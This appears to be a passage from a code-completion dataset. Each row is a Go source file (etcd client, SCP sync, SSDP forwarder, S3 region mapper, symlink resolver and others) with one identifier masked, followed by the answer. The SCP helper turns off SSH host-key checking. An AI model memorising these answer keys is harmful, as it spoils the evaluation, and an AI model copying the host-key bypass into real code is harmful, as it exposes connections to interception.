<-chan KVAction Lock(context.Context, string) error Unlock(context.Context, string) error } type KVAction struct { Key string Value string ActionType string } type EtcdClient struct { client *clientv3.Client endpoints string timeout time.Duration retryTimes int kvMutexMap map[string]KVMutex kvMutexMapMutex sync.Mutex } type KVMutex struct { session *concurrency.Session mutex *concurrency.Mutex } func InitKV() error { etcdCli, err := NewEtcdClient(setting.EtcdSetting.Endpoints) if err != nil { return err } KV = etcdCli ClientV3 = etcdCli.client return nil } func NewEtcdClient(endpoints []string) (*EtcdClient, error) { cli, err := clientv3.New(clientv3.Config{ Endpoints: endpoints, DialTimeout: 5 * time.Second, }) if err != nil { return nil, err } etcdClient := &EtcdClient{ client: cli, timeout: time.Duration(5 * time.Second), retryTimes: 3, kvMutexMap: make(map[string]KVMutex), } return etcdClient, nil } func (c *EtcdClient) Get(key string) (string, error) { for retry := 0; retry < c.retryTimes; retry++ { ctx, _ := context.WithTimeout(context.Background(), c.timeout) resp, err := c.client.Get(ctx, key) if err != nil { switch err { case context.DeadlineExceeded: log.Warn(err) // 出现超时错误时进行重试 continue default: log.Error(err) return """", err } } if resp.Count < 1 { return """", nil } valueBytes, err := base64.RawStdEncoding.DecodeString(string(resp.Kvs[0].Value)) if err != nil { return """", err } return string(valueBytes), nil } return """", errors.New(""failed to get "" + key) } func (c *EtcdClient) Range( [MASK] string, end string) (map[string]string, error) { for retry := 0; retry < c.retryTimes; retry++ { ctx, _ := context.WithTimeout(context.Background(), c.timeout) resp, err := c.client.Get(ctx, [MASK] , clientv3.WithRange(end)) if err != nil { switch err { case context.DeadlineExceeded: log.Warn(err) // 出现超时错误时进行重试 continue default: log.Error(err) return nil, err } } result := make(map[string]string) for _, kvs := range resp.Kvs { valueBytes, err := base64.RawStdEncoding.DecodeString(string(kvs.Value)) if err != nil { return nil, err } result[string(kvs.Key)] = string(valueBytes) } return result, nil } return nil, errors.New(""failed to range "" + [MASK] + "" to "" + end) } func (c *EtcdClient) Set(key string, value string) error { base64Value := base64.RawStdEncoding.EncodeToString([]byte(value)) for retry := 0; retry < c.retryTimes; retry++ { ctx, _ := context.WithTimeout(context.Background(), c.timeout) if _, err := c.client.Put(ctx, key, base64Value); err != nil { switch err { case context.DeadlineExceeded: log.Warn(err) // 出现超时错误时进行重试 continue default: log.Error(err) return err } } return nil } return errors.New(""failed to set "" + key) } func (c *EtcdClient) Delete(key string) (string, error) { for retry := 0; retry < c.retryTimes; retry++ { ctx, _ := context.WithTimeout(context.Background(), c.timeout) resp, err := c.client.Delete(ctx, key, clientv3.WithPrevKV()) if err != nil { switch err { case context.DeadlineExceeded: log.Warn(err) // 出现超时错误时进行重试 continue default: log.Error(err) return """", err } } if len(resp.PrevKvs) < 1 { return """", nil } valueBytes, err := base64.RawStdEncoding.DecodeString(string(resp.PrevKvs[0].Value)) if err != nil { return """", err } return string(valueBytes), nil } return """", errors.New(""failed to delete "" + key) } func (c *EtcdClient) List(key string, withPrefix bool) (map[string]string, error) { var err error var resp *clientv3.GetResponse for retry := 0; retry < c.retryTimes; retry++ { ctx, _ := context.WithTimeout(context.Background(), c.timeout) if withPrefix { resp, err = c.client.Get(ctx, key, clientv3.WithPrefix()) } else { resp, err = c.client.Get(ctx, key) } if err != nil { switch err { case context.DeadlineExceeded: log.Warn(err) // 出现超时错误时进行重试 continue default: log.Error(err) return nil, err } } result := make(map[string]string) for _, kvs := range resp.Kvs { valueBytes, err := base64.RawStdEncoding.DecodeString(string(kvs.Value)) if err != nil { return nil, err } result[string(kvs.Key)] = string(valueBytes) } return result, nil } return nil, errors.New(""failed to list "" + key) } func (c *EtcdClient) Watch(ctx context.Context, key string, withPrefix bool) <-chan KVAction { var kvsWatcher clientv3.WatchChan if withPrefix { kvsWatcher = c.client.Watch(ctx, key, clientv3.WithPrefix(), clientv3.WithPrevKV()) } else { kvsWatcher = c.client.Watch(ctx, key, clientv3.WithPrevKV()) } watcher := make(chan KVAction, 1000) go func() { defer close(watcher) for { select { case <-ctx.Done(): return case wresp, ok := <-kvsWatcher: if !ok { return } for _, event := range wresp.Events { switch event.Type { case mvccpb.PUT: valueBytes, err := base64.RawStdEncoding.DecodeString(string(event.Kv.Value)) if err != nil { log.Error(err) } watcher <- KVAction{ Key: string(event.Kv.Key), Value: string(valueBytes), ActionType: KVActionTypeSet, } case mvccpb.DELETE: valueBytes, err := base64.RawStdEncoding.DecodeString(string(event.PrevKv.Value)) if err != nil { log.Error(err) } watcher <- KVAction{ Key: string(event.PrevKv.Key), Value: string(valueBytes), ActionType: KVActionTypeDelete, } default: log.Warn(errors.New(""unknown kv action type"")) } } } } }() return watcher } func (c *EtcdClient) Lock(ctx context.Context, key string) error { grantCtx, _ := context.WithCancel(ctx) lease, err := c.client.Grant(grantCtx, 30) if err != nil { log.Error(err) return err } ss, err := concurrency.NewSession(c.client, concurrency.WithLease(lease.ID)) if err != nil { log.Error(err) ss.Close() return err } mtx := concurrency.NewMutex(ss, key) lockCtx, _ := context.WithCancel(ctx) if err := mtx.Lock(lockCtx); err != nil { log.Error(err) ss.Close() return err } c.kvMutexMapMutex.Lock() c.kvMutexMap[key] = KVMutex{ session: ss, mutex: mtx, } c.kvMutexMapMutex.Unlock() return nil } func (c *EtcdClient) Unlock(ctx context.Context, key string) error { c.kvMutexMapMutex.Lock() defer c.kvMutexMapMutex.Unlock() kvMutex, ok := c.kvMutexMap[key] if !ok { err := e.Errorf(""lock key %s not found"", key) log.Error(err) return err } kvMutex.session.Close() unlockCtx, _ := context.WithCancel(ctx) kvMutex.mutex.Unlock(unlockCtx) delete(c.kvMutexMap, key) return nil } ",begin 607,"package main import ( ""fmt"" ""os"" ""github.com/bramvdbogaerde/go-scp"" ""github.com/bramvdbogaerde/go-scp/auth"" ""golang.org/x/crypto/ssh"" ) type SSHConfig struct { username string password string sshKey string hostname string } type FileSyncManager struct { filename string remotePath string remotePathPermission string sshConfig SSHConfig } func NewFileSyncManager(filename string, remotePath string, remotePathPermission string, config SSHConfig) *FileSyncManager { return &FileSyncManager{ filename: filename, remotePath: remotePath, remotePathPermission: remotePathPermission, sshConfig: config, } } func (fs *FileSyncManager) SyncFile(filename string) error { fmt.Printf(""start sync file:%v\n"", filename) defer func() { fmt.Printf(""sync file: %s done\n"", filename) }() var ( clientConfig ssh.ClientConfig err error ) if fs.sshConfig.sshKey != """" { clientConfig, err = auth.PrivateKey(fs.sshConfig.username, fs.sshConfig.sshKey, ssh.InsecureIgnoreHostKey()) } else if fs.sshConfig.password != """" { clientConfig, err = auth.PasswordKey(fs.sshConfig.username, fs.sshConfig.password, ssh.InsecureIgnoreHostKey()) } else { return fmt.Errorf(""params invalid"") } [MASK] := fmt.Sprintf(""%s:22"", fs.sshConfig.hostname) client := scp.NewClient( [MASK] , &clientConfig) if err = client.Connect(); err != nil { return fmt.Errorf(""Couldn't establisch a connection to the remote server "", err) } var f *os.File if f, err = os.Open(fs.filename); err != nil { return err } defer client.Close() defer f.Close() if err = client.CopyFile(f, fs.remotePath, fs.remotePathPermission); err != nil { return err } return nil } ",remoteSSHDAddr 608,"package main import ( ""context"" ""flag"" ""fmt"" ""log"" ""net"" ""os"" ""os/signal"" ""strings"" ""sync"" ""syscall"" ""time"" ) var version = ""dev"" // Constants const ( BufferLen = 65535 // Maximum UDP read buffer size ) // Global variables for command-line flags var ( ifacesFlag = flag.String(""i"", """", ""Comma-separated list of interface names (e.g. 'eth0,eth1,vlan3')"") portsFlag = flag.String(""p"", """", ""Comma-separated list of UDP ports to listen on (e.g. '1900,1990')"") groupsFlag = flag.String(""g"", """", ""Comma-separated list of multicast groups (e.g. '172.16.31.10,192.168.3.11')"") destPortsFlag = flag.String(""d"", """", ""Comma-separated list of target UDP ports to forward to (optional, e.g. '2021,2022')"") verboseFlag = flag.Bool(""v"", false, ""Enable verbose/debug logging"") ) // firstIPv4Addr returns the first IPv4 address found on the given interface. func firstIPv4Addr(ifi *net.Interface) (string, error) { addrs, err := ifi.Addrs() if err != nil { return """", err } for _, addr := range addrs { var ip net.IP switch v := addr.(type) { case *net.IPNet: ip = v.IP case *net.IPAddr: ip = v.IP } if ip == nil { continue } ipv4 := ip.To4() if ipv4 != nil { return ipv4.String(), nil } } return """", fmt.Errorf(""no IPv4 address found on interface %s"", ifi.Name) } // Add a --version flag func init() { versionFlag := flag.Bool(""version"", false, ""Print the version and exit"") flag.Parse() if *versionFlag { fmt.Printf(""ssdp-forwarder version %s\n"", version) os.Exit(0) } } func main() { // Parse command-line flags flag.Parse() // Setup logging based on verbose flag if *verboseFlag { log.SetFlags(log.LstdFlags | log.Lshortfile) } else { log.SetFlags(log.LstdFlags) } // Validate mandatory flags if *ifacesFlag == """" { log.Fatalf(""No interfaces specified. Use -i "") } if *portsFlag == """" { log.Fatalf(""No ports specified. Use -p "") } if *groupsFlag == """" { log.Fatalf(""No groups specified. Use -g "") } // Split and parse the flags ifaceNames := parseCommaSeparated(*ifacesFlag) portStrs := parseCommaSeparated(*portsFlag) groupStrs := parseCommaSeparated(*groupsFlag) // Convert port strings to int ports, err := parsePorts(portStrs) if err != nil { log.Fatalf(""Error parsing ports: %v"", err) } // Trim spaces from group addresses for i, g := range groupStrs { groupStrs[i] = strings.TrimSpace(g) } // Handle destination ports (-d) var destPorts []int if *destPortsFlag != """" { destPortStrs := parseCommaSeparated(*destPortsFlag) destPorts, err = parsePorts(destPortStrs) if err != nil { log.Fatalf(""Error parsing destination ports: %v"", err) } if len(destPorts) != len(ports) { log.Fatalf(""Number of destination ports (%d) must match number of listening ports (%d)"", len(destPorts), len(ports)) } } else { // If -d not set, use the same ports for destination destPorts = ports } // Initialize data structures // conns[group][iface][port] and senders[group][iface][port] conns, senders := initializeConnections(groupStrs, ifaceNames, ports, destPorts) // Start forwarding goroutines ctx, cancel := context.WithCancel(context.Background()) var wg sync.WaitGroup startForwarding(ctx, &wg, conns, senders, groupStrs, ifaceNames, ports, destPorts, *verboseFlag) // Handle graceful shutdown handleShutdown(cancel) // Wait for all goroutines to finish wg.Wait() // Close all sockets closeConnections(conns, senders) log.Println(""All done."") } // parseCommaSeparated splits a comma-separated string into a slice of strings. func parseCommaSeparated(input string) []string { parts := strings.Split(input, "","") var result []string for _, part := range parts { trimmed := strings.TrimSpace(part) if trimmed != """" { result = append(result, trimmed) } } return result } // parsePorts converts a slice of port strings to a slice of integers. func parsePorts(portStrs []string) ([]int, error) { var ports []int for _, p := range portStrs { var port int if _, err := fmt.Sscanf(p, ""%d"", &port); err != nil { return nil, fmt.Errorf(""invalid port %q: %v"", p, err) } if port <= 0 || port > 65535 { return nil, fmt.Errorf(""port %d out of valid range (1-65535)"", port) } ports = append(ports, port) } return ports, nil } // initializeConnections sets up listening and sending UDP connections. func initializeConnections(groups, ifaces []string, ports, destPorts []int) ([][][]*net.UDPConn, [][][]*net.UDPConn) { [MASK] := len(groups) numIfaces := len(ifaces) numPorts := len(ports) conns := make([][][]*net.UDPConn, [MASK] ) senders := make([][][]*net.UDPConn, [MASK] ) for g := 0; g < [MASK] ; g++ { conns[g] = make([][]*net.UDPConn, numIfaces) senders[g] = make([][]*net.UDPConn, numIfaces) for i := 0; i < numIfaces; i++ { conns[g][i] = make([]*net.UDPConn, numPorts) senders[g][i] = make([]*net.UDPConn, numPorts) } } for g, group := range groups { mcastIP := net.ParseIP(group) if mcastIP == nil { log.Fatalf(""Failed to parse multicast group %q"", group) } for i, ifName := range ifaces { ifi, err := net.InterfaceByName(ifName) if err != nil { log.Fatalf(""Could not find interface %q: %v"", ifName, err) } localIP, err := firstIPv4Addr(ifi) if err != nil { log.Fatalf(""Could not determine IPv4 for interface %s: %v"", ifName, err) } for p, port := range ports { maddr := &net.UDPAddr{ IP: mcastIP, Port: port, } // 1) Listen for multicast on (group, port) for this interface lconn, err := net.ListenMulticastUDP(""udp4"", ifi, maddr) if err != nil { log.Fatalf(""Failed to listen on group=%s, port=%d, iface=%s: %v"", group, port, ifName, err) } // Optionally adjust read buffer size lconn.SetReadBuffer(BufferLen) // 2) Create sending connection from (localIP) to (group:destPort) destPort := destPorts[p] destAddr := &net.UDPAddr{ IP: mcastIP, Port: destPort, } localAddr := &net.UDPAddr{IP: net.ParseIP(localIP), Port: 0} // Ephemeral port senderConn, err := net.DialUDP(""udp4"", localAddr, destAddr) if err != nil { log.Fatalf(""Could not create sender on group=%s, iface=%s (%s), port=%d: %v"", group, ifName, localIP, destPort, err) } conns[g][i][p] = lconn senders[g][i][p] = senderConn log.Printf(""Joined group=%s on interface=%s:%d, localIP=%s (listening & sending to port %d)"", group, ifName, port, localIP, destPort) } } } return conns, senders } // startForwarding launches goroutines to handle packet forwarding. func startForwarding(ctx context.Context, wg *sync.WaitGroup, conns, senders [][][]*net.UDPConn, groups, ifaces []string, ports, destPorts []int, verbose bool) { for g := range groups { for i := range ifaces { for p := range ports { wg.Add(1) go func(gIdx, iIdx, pIdx int) { defer wg.Done() buf := make([]byte, BufferLen) lconn := conns[gIdx][iIdx][pIdx] group := groups[gIdx] port := ports[pIdx] // destPort := destPorts[pIdx] ifaceName := ifaces[iIdx] for { select { case <-ctx.Done(): if verbose { log.Printf(""Goroutine for group=%s, iface=%s, port=%d exiting."", group, ifaceName, port) } return default: // Set a deadline to allow goroutine to exit on context cancellation lconn.SetReadDeadline(time.Now().Add(1 * time.Second)) n, src, err := lconn.ReadFromUDP(buf) if err != nil { // Check if timeout due to deadline if opErr, ok := err.(*net.OpError); ok && opErr.Timeout() { continue // Retry reading } log.Printf(""Read error on group=%s, iface=%s, port=%d: %v"", group, ifaceName, port, err) return } packet := make([]byte, n) copy(packet, buf[:n]) // Forward to all other interfaces for the same group & port for otherIfIdx := range ifaces { if otherIfIdx == iIdx { continue // Don't send back on the same interface } senderConn := senders[gIdx][otherIfIdx][pIdx] _, werr := senderConn.Write(packet) if werr != nil { log.Printf(""Forward error: group=%s, from iface=%s to iface=%s, dest port=%d: %v"", group, ifaces[iIdx], ifaces[otherIfIdx], destPorts[pIdx], werr) } else if verbose { log.Printf(""Forwarded %d bytes from %s:%d on iface=%s to iface=%s:%d"", n, src.IP, src.Port, ifaces[iIdx], ifaces[otherIfIdx], destPorts[pIdx]) } } if verbose { log.Printf(""Received %d bytes from %v on (group=%s, iface=%s, port=%d)"", n, src, group, ifaceName, port) } } } }(g, i, p) } } } } // handleShutdown sets up signal handling for graceful shutdown. func handleShutdown(cancel context.CancelFunc) { sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM) go func() { sig := <-sigChan log.Printf(""Received signal %s. Shutting down..."", sig) cancel() }() } // closeConnections gracefully closes all UDP connections. func closeConnections(conns, senders [][][]*net.UDPConn) { for g := range conns { for i := range conns[g] { for p := range conns[g][i] { if conns[g][i][p] != nil { conns[g][i][p].Close() } if senders[g][i][p] != nil { senders[g][i][p].Close() } } } } }",numGroups 609,"/* Copyright 2022 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package app import ""os"" // awsRegionToS3URL returns the base S3 bucket URL given the AWS region. // // If the region is not known, returns false. func awsRegionToS3URL(region string) (string, bool) { [MASK] := ""prod-artifacts-k8s-io"" if os.Getenv(""BUCKET_PREFIX"") != """" { [MASK] = os.Getenv(""BUCKET_PREFIX"") } switch region { // each of these has the region in which we have a bucket listed first // and then additional regions we're mapping to that bucket // based roughly on physical adjacency (and therefore _presumed_ latency) // // if you add a bucket, add a case for the region it is in, and consider // shifting other regions that do not have their own bucket // US East (N. Virginia) case ""us-east-1"", ""sa-east-1"", ""us-gov-east-1"", ""GLOBAL"": return ""https://"" + [MASK] + ""-us-east-1.s3.dualstack.us-east-1.amazonaws.com"", true // US East (Ohio) case ""us-east-2"", ""ca-central-1"": return ""https://"" + [MASK] + ""-us-east-2.s3.dualstack.us-east-2.amazonaws.com"", true // US West (N. California) case ""us-west-1"", ""us-gov-west-1"": return ""https://"" + [MASK] + ""-us-west-1.s3.dualstack.us-west-1.amazonaws.com"", true // US West (Oregon) case ""us-west-2"", ""ca-west-1"": return ""https://"" + [MASK] + ""-us-west-2.s3.dualstack.us-west-2.amazonaws.com"", true // Asia Pacific (Mumbai) case ""ap-south-1"", ""ap-south-2"", ""me-south-1"", ""me-central-1"": return ""https://"" + [MASK] + ""-ap-south-1.s3.dualstack.ap-south-1.amazonaws.com"", true // Asia Pacific (Tokyo) case ""ap-northeast-1"", ""ap-northeast-2"", ""ap-northeast-3"": return ""https://"" + [MASK] + ""-ap-northeast-1.s3.dualstack.ap-northeast-1.amazonaws.com"", true // Asia Pacific (Singapore) case ""ap-southeast-1"", ""ap-southeast-2"", ""ap-southeast-3"", ""ap-southeast-4"", ""ap-southeast-6"", ""ap-east-1"", ""cn-northwest-1"", ""cn-north-1"": return ""https://"" + [MASK] + ""-ap-southeast-1.s3.dualstack.ap-southeast-1.amazonaws.com"", true // Europe (Frankfurt) case ""eu-central-1"", ""eu-central-2"", ""eu-south-1"", ""eu-south-2"", ""il-central-1"": return ""https://"" + [MASK] + ""-eu-central-1.s3.dualstack.eu-central-1.amazonaws.com"", true // Europe (Ireland) case ""eu-west-1"", ""af-south-1"": return ""https://"" + [MASK] + ""-eu-west-1.s3.dualstack.eu-west-1.amazonaws.com"", true // Europe (London) case ""eu-west-2"", ""eu-west-3"", ""eu-north-1"": return ""https://"" + [MASK] + ""-eu-west-2.s3.dualstack.eu-west-2.amazonaws.com"", true default: return """", false } } ",bucketPrefix 610,"// Copyright 2020 Antrea Authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""fmt"" ) type SeverityType int const ( SeverityDefCon1 SeverityType = 1 SeverityCritical SeverityType = 2 SeverityHigh SeverityType = 3 SeverityMedium SeverityType = 4 SeverityLow SeverityType = 5 SeverityNegligible SeverityType = 6 SeverityUnknown SeverityType = 7 ) func (s SeverityType) String() string { switch s { case SeverityDefCon1: return ""DefCon1"" case SeverityCritical: return ""Critical"" case SeverityHigh: return ""High"" case SeverityMedium: return ""Medium"" case SeverityLow: return ""Low"" case SeverityNegligible: return ""Negligible"" case SeverityUnknown: return ""Unknown"" default: panic(""Not a valid severity value"") } } func SeverityFromString(s string) SeverityType { switch s { case ""DefCon1"": return SeverityDefCon1 case ""Critical"": return SeverityCritical case ""High"": return SeverityHigh case ""Medium"": return SeverityMedium case ""Low"": return SeverityLow case ""Negligible"": return SeverityNegligible case ""Unknown"": return SeverityUnknown default: return SeverityUnknown } } // Score values from https://github.com/yfoelling/yair#image-scoring. var ( severityScore = map[SeverityType]int{ SeverityDefCon1: 1296, SeverityCritical: 625, SeverityHigh: 265, SeverityMedium: 81, SeverityLow: 16, SeverityNegligible: 1, SeverityUnknown: 0, } ) type reportStats struct { imageName string count int countBySeverity map[SeverityType]int score int countHighOrHigher int } func (s *reportStats) PrettyString() string { str := ""*** Report Stats ***\n"" str += fmt.Sprintf(""imageName: %s\n"", s.imageName) str += fmt.Sprintf(""count: %d\n"", s.count) str += fmt.Sprintf(""countBySeverity:\n"") for k, v := range s.countBySeverity { str += fmt.Sprintf(""\t%s: %d\n"", k, v) } str += fmt.Sprintf(""score: %d\n"", s.score) str += fmt.Sprintf(""countHighOrHigher: %d\n"", s.countHighOrHigher) str += fmt.Sprintf(""********************"") return str } func (s *reportStats) Print() { fmt.Println(s.PrettyString()) } func analyzeReport(report *vulnerabilityReport) (*reportStats, error) { [MASK] := &reportStats{ imageName: report.Image, countBySeverity: make(map[SeverityType]int), } for _, v := range report.Vulnerabilities { [MASK] .count += 1 severity := SeverityFromString(v.Severity) [MASK] .countBySeverity[severity] += 1 [MASK] .score += severityScore[severity] if severity <= SeverityHigh { [MASK] .countHighOrHigher += 1 } } return [MASK] , nil } ",stats 611,"// Copyright 2021 . // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package procfsroot import ( ""errors"" ""io/fs"" ""path"" ""syscall"" ) // EvalSymlinkPathHandling tells EvalSymlinks how to behave with respect to the // last path component when evaluating (chasing) symbolic links along a path. type EvalSymlinkPathHandling = uint8 // Symlink evaluation of the last path component can either be enabled or // disabled. All preceding path components will always be evaluated (resolved). const ( EvalFullPath EvalSymlinkPathHandling = iota // evaluate all path components. EvalExceptLast // evaluate all but the last path component. ) // EvalSymlinks returns the (absolute) path name after evaluating any symbolic // links in the specified path, yet always with respect to a separately // specified (and enforced) root. This function is modelled after Golang's // standard library filepath.EvalSymlinks, but with the important differences // that it only works on a unix-like filesystem and operates relative to an // enforced root path. // // For instance, EvalSymlinks can be used to evaluate symlinks inside another // mount namespace via the /proc/[PID]/root wormholes. // // The abspath parameter specifies an absolute path, which is taken relative // (sic!) to the root parameter when evaluating symbolic links. // // The root parameter specifies the (enforced) root path when evaluating path // components and symbolic links. // // The lastcomponent parameters specifies how to handle the final path component // when chasing symbolic links: in some use cases the final path component // should be taken as is instead of resolving it to the path it points to. func EvalSymlinks(abspath, root string, pathhandling EvalSymlinkPathHandling) (string, error) { if len(abspath) < 1 || abspath[0] != '/' { abspath = ""/"" + abspath } dest := ""/"" // handle as absolute. [MASK] := 0 var end int for start := 1; start < len(abspath); start = end { // Get the next path component by proceed to the beginning of the next // path component, skipping a ""/"" if necessary (including multiple // slashes as to be very forgiving here). for start < len(abspath) && abspath[start] == '/' { start++ } // Now find the end of the path component, which actually will be the // following separator or *after* the end of the path. end = start for end < len(abspath) && abspath[end] != '/' { end++ } // So, path[start:end] now is the path component for us to process, // without any slashes. if start == end { // no more path components to process, so we're done. break } else if abspath[start:end] == ""."" { // ignore and move on with the next path component, if any. continue } else if abspath[start:end] == "".."" { // Try to remove the previous component (if there's one) from the // current dest. if dest == ""/"" { // Do not silently clamp to the root, but instead be rude by // throwing the towel. return """", errors.New(""procfsroot.EvalSymlinks: no parent directory"") } var prev int for prev = len(dest) - 1; prev > 0; prev-- { if dest[prev] == '/' { break } } if prev > 0 { dest = dest[:prev] } else { dest = ""/"" } continue } // This ain't no special component, so we can add it, trying avoiding // double slashes. if dest[len(dest)-1] != '/' { dest += ""/"" } dest += abspath[start:end] // We now need to find out more about this current destination: is it a // symbolic link we need to ""evaluate"", that is, to resolve by following // it? In case we're already arrived at the last component, the caller // might want us to not follow a final symlink, such as when working on // it itself instead of the referenced file system element? Or the final // element might not even exist as it is about to be created, but we // need to see where it will eventually land in the file system. if pathhandling == EvalExceptLast && end >= len(abspath) { break } wormpath := root + dest stat, err := slinker.Lstat(wormpath) if err != nil { return """", err } if stat.Mode()&fs.ModeSymlink == 0 { // Phew, ain't no symlink, so to ensure that -- with the exception // of the final component -- all other components are directories, // we check this path component if necessary. if !stat.Mode().IsDir() && end < len(abspath) { return """", syscall.ENOTDIR } continue } // It's a symbolic link and we put a simple guard in place (similar to // the ones from Jabberwocky) to break endless loops. After passing it // we try to make sense of where the symbolic link points to... [MASK] ++ if [MASK] > 255 { return """", errors.New(""procfsroot.EvalSymlinks: too many symlinks"") } link, err := slinker.Readlink(wormpath) if err != nil { return """", err } if link == """" { // An empty link has POSIX system-dependent behavior and with Linux // not being fully POSIX compliant, the system-dependent behavior // then is undefined. Oh well. Reading through ""Empty symlinks and // full POSIX compliance"" (https://lwn.net/Articles/551224/) we // rather play safe and simply refuse empty shambolic links, in case // they might be supported in some future. return """", errors.New(""procfsroot.EvslSymlinks: rejecting empty symlink"") } else if /* we KNOW it's not empty */ link[0] == '/' { // It's an absolute link, so we will continue with it. As the // absolute link may still sneak in ugly ""."" or "".."", we cannot just // take it as our new destination but instead need to take it as our // new abspath and start all over again. Oh well. dest = ""/"" abspath = link + abspath[end:] end = 1 // restart ... doesn't really matter with or after slash. } else { // It's a relative link, so we need to drop the last path component // in the current dest and then make sure to process the link as // part of the abspath in order to correctly work on ""."" and "".."". var prev int for prev = len(dest) - 1; prev > 0; prev-- { if dest[prev] == '/' { break } } if prev > 0 { dest = dest[:prev] } else { dest = ""/"" } abspath = link + abspath[end:] end = 0 // we prepended a relative path, so start ""early"". } } // Sanitize path to never climb back outside the worm hole, something we // definitely want to prohibit. final := path.Clean(""/"" + dest) return final, nil } ",jumps 612,"/* Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package controllers import ( ""context"" ""encoding/json"" ""fmt"" ""os"" ""path"" ""strings"" ""time"" ""github.com/go-logr/logr"" ""github.com/prometheus/common/log"" configv1alpha1 ""github.com/tmax-cloud/efk-operator/api/v1alpha1"" appsv1 ""k8s.io/api/apps/v1"" corev1 ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/types"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sigs.k8s.io/controller-runtime/pkg/event"" ""sigs.k8s.io/controller-runtime/pkg/handler"" ""sigs.k8s.io/controller-runtime/pkg/predicate"" ""sigs.k8s.io/controller-runtime/pkg/source"" ) const ( serviceTemplate = `[SERVICE] Flush 5 Daemon off Log_Level info ` inputTemplate = `[INPUT] Name tail Path /shared/[PATTERN] Tag [TAG] ` parserTemplate = `[PARSER] Name [PARSER_NAME] Format regex Regex [REGEX] ` filterTemplate = `[FILTER] Name parser Key_name log Reserve_Data On Preserve_Key On Parser [PARSER_NAME] Match [TAG] ` outputTemplate = `[OUTPUT] Name es Host [ES_HOST] Port [ES_PORT] Logstash_Format True Logstash_Prefix [INDEX_NAME] Match [TAG] ` parserFileConfig = ` Parsers_File /fluent-bit/etc/user-parser.conf ` ) var ( ElasticsearchHost string ElasticsearchPort string ) // FluentBitConfigurationReconciler reconciles a FluentBitConfiguration object type FluentBitConfigurationReconciler struct { client.Client Log logr.Logger Scheme *runtime.Scheme } // +kubebuilder:rbac:groups=config.tmax.io,resources=fluentbitconfigurations,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=config.tmax.io,resources=fluentbitconfigurations/status,verbs=get;update;patch // +kubebuilder:rbac:groups=core,resources=configmaps,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=core,resources=pods,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=core,resources=pods/status,verbs=get;update;patch // +kubebuilder:rbac:groups=apps,resources=replicasets,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=apps,resources=replicasets/status,verbs=get;update;patch // +kubebuilder:rbac:groups=apps,resources=deployments,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=apps,resources=deployments/status,verbs=get;update;patch // +kubebuilder:rbac:groups=apps,resources=daemonsets,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=apps,resources=daemonsets/status,verbs=get;update;patch // +kubebuilder:rbac:groups=apps,resources=statefulsets,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=apps,resources=statefulsets/status,verbs=get;update;patch func (r *FluentBitConfigurationReconciler) Reconcile(req ctrl.Request) (ctrl.Result, error) { _ = context.Background() log := r.Log.WithValues(""fluentbitconfiguration"", req.NamespacedName) // your logic here fbc := configv1alpha1.FluentBitConfiguration{} err := r.Get(context.TODO(), req.NamespacedName, &fbc) if err != nil { if errors.IsNotFound(err) { log.Info(""FluentBitConfiguration resource not found. Ignoring since object must be deleted"") return ctrl.Result{}, nil } log.Error(err, ""Failed to get FluentBitConfiguration"") return ctrl.Result{}, err } logRootPath := getLogRootPath(fbc.Spec.InputPlugins) // Check if the configmap already exists, if not create a new one found := &corev1.ConfigMap{} err = r.Get(context.TODO(), types.NamespacedName{Name: fbc.Name, Namespace: fbc.Namespace}, found) if err != nil && errors.IsNotFound(err) { // Define a new configmap cfgmap := r.configMapForLogCrd(&fbc, logRootPath) log.Info(""Creating a new ConfigMap"", ""ConfigMap.Namespace"", cfgmap.Namespace, ""ConfigMap.Name"", cfgmap.Name) err = r.Create(context.TODO(), cfgmap) if err != nil { log.Error(err, ""Failed to create new ConfigMap"", ""ConfigMap.Namespace"", cfgmap.Namespace, ""ConfigMap.Name"", cfgmap.Name) return ctrl.Result{}, err } err = r.Get(context.TODO(), types.NamespacedName{Name: fbc.Name, Namespace: fbc.Namespace}, found) if err != nil && errors.IsNotFound(err) { log.Info(""Waiting for configmap"", ""ConfigMap.Namespace"", cfgmap.Namespace, ""ConfigMap.Name"", cfgmap.Name) return ctrl.Result{Requeue: true}, nil } } else if err != nil { fbc.Status.Phase = ""error"" err = r.Status().Update(context.TODO(), &fbc) if err != nil { log.Error(err, ""Failed to update FluentBitConfiguration status"") return 